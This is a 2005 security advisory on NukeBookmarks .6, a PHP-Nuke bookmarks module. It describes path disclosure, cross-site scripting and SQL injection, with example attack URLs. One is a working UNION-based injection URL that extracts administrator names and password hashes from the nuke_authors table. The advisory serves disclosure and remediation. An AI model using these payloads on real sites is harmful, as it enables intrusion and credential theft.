ZH2005-03SA.txt

`ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6  
  
Author: Gerardo 'Astharot' Di Giacomo  
Date: 26 March 2005  
  
Product: NukeBookmarks .6  
URL: http://nukebookmarks.sourceforge.net/  
  
About the product  
-----------------  
>From the home page:  
"Nuke Bookmarks is a module for PHP-Nuke that allows users to store  
their own personal bookmarks on the server, much like Yahoo Bookmarks".  
  
Vulnerabilities summary  
-----------------------  
1) Full path disclosure  
2) Cross Site Scripting  
3) SQL Injection  
  
Details  
-------  
1) Full path disclosure  
It's possible to retrieve the full installation URL of the website. In  
"marks.php" file, there are some queries to the database. If some  
parameters miss or some strange characters are submitted, the functions  
that get results from the database will return an error.  
  
Examples:  
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks  
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&category=1'  
  
2) Cross Site Scripting  
Almost all of the variables supplied by the user aren't checked and  
sanitized. It's possible to inject HTML code into page and do a cross  
site scripting attack.  
  
Examples:  
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_cat&catname=[htmlcode]  
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlcode]  
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode]  
  
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode]  
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode]  
http://www.nukesite.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode]  
  
These other strings are potentially vulnerable but not exploitable:  
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markname=[htmlcode]  
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markurl=[htmlcode]  
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markcomment=[htmlcode]  
  
3) SQL Injection  
It's possible to get any content from the database by exploiting a SQL  
Injection vulnerability in "marks.php" file.  
  
Example:  
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors  
  
This example will get the list of PHPNuke authors and the relative  
hashes of the passwords.  
  
Solution  
--------  
Download the latest version of NukeBookmarks (.7).  
  
Contacts  
--------  
[email protected]  
http://www.zone-h.org - http://www.zone-h.it  
  
Original URL: http://zone-h.org/advisories/read/id=7356  
`